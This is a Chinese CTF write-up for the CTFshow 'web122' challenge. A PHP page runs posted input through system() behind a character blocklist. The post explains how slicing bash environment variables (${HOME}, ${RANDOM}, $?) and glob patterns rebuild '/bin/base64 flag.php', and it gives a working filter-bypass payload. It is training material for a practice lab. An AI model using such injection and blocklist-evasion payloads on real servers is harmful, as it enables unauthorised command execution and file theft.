CTFshow-WEB入门-命令执行web122

题目代码

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

这道题需要通过切割环境变量的字符来达到命令执行

前置知识:

${HOME}可能为/root、${PATH}可能为bin、${PWD}可能为/var/www/html、${HOSTNAME}、${PHP_VERSION}、${USER}

${PATH:~0:1},取倒数第一个字符(倒着只能取一个,0可以用一个字母代替)

${PATH::1},从第一个切有时可以不写,有时还不能切片

$PATH,不切可以不加花括号

${?}是上一个命令的退出状态,无错误为0、执行p这种错误的为127、执行<A这种的为1

${#}和${?}为0、${##}和${#?}为1

${SHLVL}是记录多个Bash进程实例嵌套深度的累加器,第一次打开shell为1,shell中再打开一个shell为2

${IFS}为空格tab换行符(newline),长度为3

${RANDOM}通常是4、5位的随机数

${#xxx}加井号为结果的长度

解题:

目标命令:/???/?????4 ????.??? 等效 /bin/base64 flag.php

先执行 <A 让 $? 为1

/ 由 ${HOME::$?} 产生

4 由 ${RANDOM::$?} 产生

Payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

posted @ 2023-01-22 21:28  Hacker&Cat  阅读(40)  评论(0编辑  收藏  举报